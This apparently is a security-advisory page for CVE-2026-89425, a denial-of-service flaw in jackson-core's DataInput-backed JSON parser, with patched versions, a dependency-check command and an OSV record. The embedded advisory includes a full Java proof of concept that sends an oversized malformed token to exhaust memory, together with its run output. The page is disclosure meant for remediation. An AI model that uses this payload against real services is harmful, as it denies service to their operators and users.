CVE-2026-89425: jackson-core Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-7hhh-6rmp-j9qf
CVSS 7.5
CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-89425 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting jackson-core libraries in the Maven ecosystem. The issue involves utf8datainputjsonparser._reportinvalidtoken() missing maxerrortokenlength limit -> unbounded stringbuilder growth (dos). Remediation is available by upgrading affected packages to version 2.21.7, 2.22.3, 3.1.7, 3.2.3, 2.18.11.

CVE-2026-89425 at a Glance

CVE Identifier CVE-2026-89425
GHSA Identifier GHSA-7hhh-6rmp-j9qf
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product jackson-core
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-89425

To remediate this vulnerability, upgrade all affected jackson-core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

com.fasterxml.jackson.core:jackson-core fixed: 2.21.7
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.21.7</version>
</dependency>
com.fasterxml.jackson.core:jackson-core fixed: 2.22.3
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.22.3</version>
</dependency>
tools.jackson.core:jackson-core fixed: 3.1.7
<dependency>
    <groupId>tools.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>3.1.7</version>
</dependency>
tools.jackson.core:jackson-core fixed: 3.2.3
<dependency>
    <groupId>tools.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>3.2.3</version>
</dependency>
com.fasterxml.jackson.core:jackson-core fixed: 2.18.11
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.18.11</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=com.fasterxml.jackson.core

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-89425, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=com.fasterxml.jackson.core

Analyze the terminal output to locate any version of jackson-core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.21.7), your application is affected.

Note: The mvn dependency:tree -Dincludes=com.fasterxml.jackson.core command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In jackson-core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Status **FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through `createParser(InputStream)` produced a correctly bounded 367-character message. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java` (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree) ## Technical Analysis `UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its exception message by appending identifier characters one at a time to a bare `StringBuilder`: ```java protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException { StringBuilder sb = new StringBuilder(matchedPart); while (true) { char c = (char) _decodeCharForError(ch); if (!Character.isJavaIdentifierPart(c)) { break; } sb.append(c); ch = _inputData.readUnsignedByte(); } _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg); } ``` There is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256) anywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the same logic does enforce it: ```java // UTF8StreamJsonParser.java (control, correctly bounded) if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) { sb.append("..."); break; } ``` `ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit — this is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree. This path is additionally left with **no fallback control**: because of `[core#1570]`-related logic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through `ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no configuration an application can set to mitigate this specific path. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder ``` ## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`) ```java import com.fasterxml.jackson.core.*; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; public class PoC6_UnboundedErrorTokenStringBuilder { static class RepeatingByteInputStream extends InputStream { private final int b; private long remaining; RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; } @Override public int read() { if (remaining <= 0) return -1; remaining--; return b; } } public static void main(String[] args) throws Exception { final long IDENTIFIER_CHAR_COUNT = 20_000_000L; System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT + " Java-identifier characters ('x'), then a terminating space, never completing" + " \"true\"/\"false\"/\"null\"/NaN.\n"); System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); DataInputStream dataIn = new DataInputStream(raw); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser((java.io.DataInput) dataIn); long heapBefore = usedHeap(); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; long heapAfter = usedHeap(); int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB"); System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT + "-character payload (unbounded)? " + (msgLen > 1_000_000)); } System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser(raw); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500)); } } static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) { InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle); return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix)); } static long usedHeap() { Runtime rt = Runtime.getRuntime(); System.gc(); return rt.totalMemory() - rt.freeMemory(); } } ``` ## Captured Evidence (actual run output) ``` Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating space, never completing "true"/"false"/"null"/NaN. === (a) UTF8DataInputJsonParser via createParser(DataInput) === Exception message length: 20000109 characters Elapsed time: 81 ms Approx additional heap used (best-effort, GC-noisy): 38 MB Message length is proportional to the full 20000000-character attacker payload (unbounded)? true === (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input === Exception message length: 367 characters Elapsed time: 7 ms Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true ``` The same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character message via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical input, confirming the missing bound is the sole cause of the difference. ## Impact Any application creating parsers via `JsonFactory.createParser(DataInput)` over attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth from a single malformed token. Scaling the payload from the 20MB demonstrated here to gigabytes (well within a typical unbounded request body) would drive the accumulated `StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling — to consume many times the raw payload size, realistically triggering `OutOfMemoryError` and denying service to the whole JVM process. Critically, **no available configuration mitigates this**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength` does not apply to this code path. ## Remediation 1. Add the `maxErrorTokenLength` check to the append loop in `UTF8DataInputJsonParser._reportInvalidToken()`, appending `"..."` and breaking when the limit is reached — mirroring the three other parser implementations exactly. 2. Add a parameterized regression test across all four parser implementations asserting the exception message length is bounded by `maxErrorTokenLength` plus a small constant. 3. Consider extracting this bounded-scan logic into a single shared helper on `ParserMinimalBase` to prevent this class of per-implementation drift recurring.

CVE-2026-89425 Affected jackson-core Versions

5 component(s)
Fixed Versions:
2.21.72.22.33.1.73.2.32.18.11
Product / Package Ecosystem Affected Versions Fixed Version
com.fasterxml.jackson.core:jackson-core
Maven
≥ 2.19.0
< 2.21.7
2.21.7
com.fasterxml.jackson.core:jackson-core
Maven
≥ 2.22.0
< 2.22.3
2.22.3
tools.jackson.core:jackson-core
Maven
≥ 3.0.0
< 3.1.7
3.1.7
tools.jackson.core:jackson-core
Maven
≥ 3.2.0
< 3.2.3
3.2.3
com.fasterxml.jackson.core:jackson-core
Maven
≥ 2.8.0
< 2.18.11
2.18.11

References

Frequently Asked Questions

What is CVE-2026-89425?
CVE-2026-89425 is a security vulnerability in jackson-core involving UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS) under CWE-400: Uncontrolled Resource Consumption.
Which jackson-core versions are affected?
Affected versions include releases prior to 2.21.7, 2.22.3, 3.1.7, 3.2.3, 2.18.11 across affected packages: com.fasterxml.jackson.core:jackson-core, tools.jackson.core:jackson-core.
What version fixes CVE-2026-89425?
Upgrading to 2.21.7, 2.22.3, 3.1.7, 3.2.3, 2.18.11 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jackson-core affected?
Yes, com.fasterxml.jackson.core:jackson-core is affected in releases prior to 2.21.7, 2.22.3, 3.1.7, 3.2.3, 2.18.11. Upgrade your dependency to 2.21.7, 2.22.3, 3.1.7, 3.2.3, 2.18.11 or later.
What is the CVSS score of CVE-2026-89425?
CVE-2026-89425 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-89425?
CVE-2026-89425 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Maven dependencies for CVE-2026-89425?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=com.fasterxml.jackson.core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7hhh-6rmp-j9qf",
  "modified" : "2026-10-01T15:20:27Z",
  "published" : "2026-10-01T15:20:27Z",
  "aliases" : [ "CVE-2026-89425" ],
  "summary" : "jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)",
  "details" : "## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n  (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n    StringBuilder sb = new StringBuilder(matchedPart);\n    while (true) {\n        char c = (char) _decodeCharForError(ch);\n        if (!Character.isJavaIdentifierPart(c)) {\n            break;\n        }\n        sb.append(c);\n        ch = _inputData.readUnsignedByte();\n    }\n    _reportError(\"Unrecognized token '\"+sb.toString()+\"': was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n    sb.append(\"...\");\n    break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit —\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n    static class RepeatingByteInputStream extends InputStream {\n        private final int b;\n        private long remaining;\n        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n        @Override public int read() {\n            if (remaining <= 0) return -1;\n            remaining--;\n            return b;\n        }\n    }\n\n    public static void main(String[] args) throws Exception {\n        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n        System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n                + \" Java-identifier characters ('x'), then a terminating space, never completing\"\n                + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n        System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            DataInputStream dataIn = new DataInputStream(raw);\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n            long heapBefore = usedHeap();\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            long heapAfter = usedHeap();\n\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n            System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n                    + \"-character payload (unbounded)? \" + (msgLen > 1_000_000));\n        }\n\n        System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser(raw);\n\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen < 500));\n        }\n    }\n\n    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n    }\n\n    static long usedHeap() {\n        Runtime rt = Runtime.getRuntime();\n        System.gc();\n        return rt.totalMemory() - rt.freeMemory();\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters ('x'), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling —\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n   `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n   limit is reached — mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n   exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n   `ParserMinimalBase` to prevent this class of per-implementation drift recurring.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.19.0"
      }, {
        "fixed" : "2.21.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.21.6"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.22.0"
      }, {
        "fixed" : "2.22.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.22.2"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "tools.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.1.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.6"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "tools.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0"
      }, {
        "fixed" : "3.2.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.2.2"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.8.0"
      }, {
        "fixed" : "2.18.11"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.18.10"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-89425"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/pull/1698"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FasterXML/jackson-core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-01T15:20:27Z",
    "nvd_published_at" : "2026-09-23T03:17:04Z"
  }
}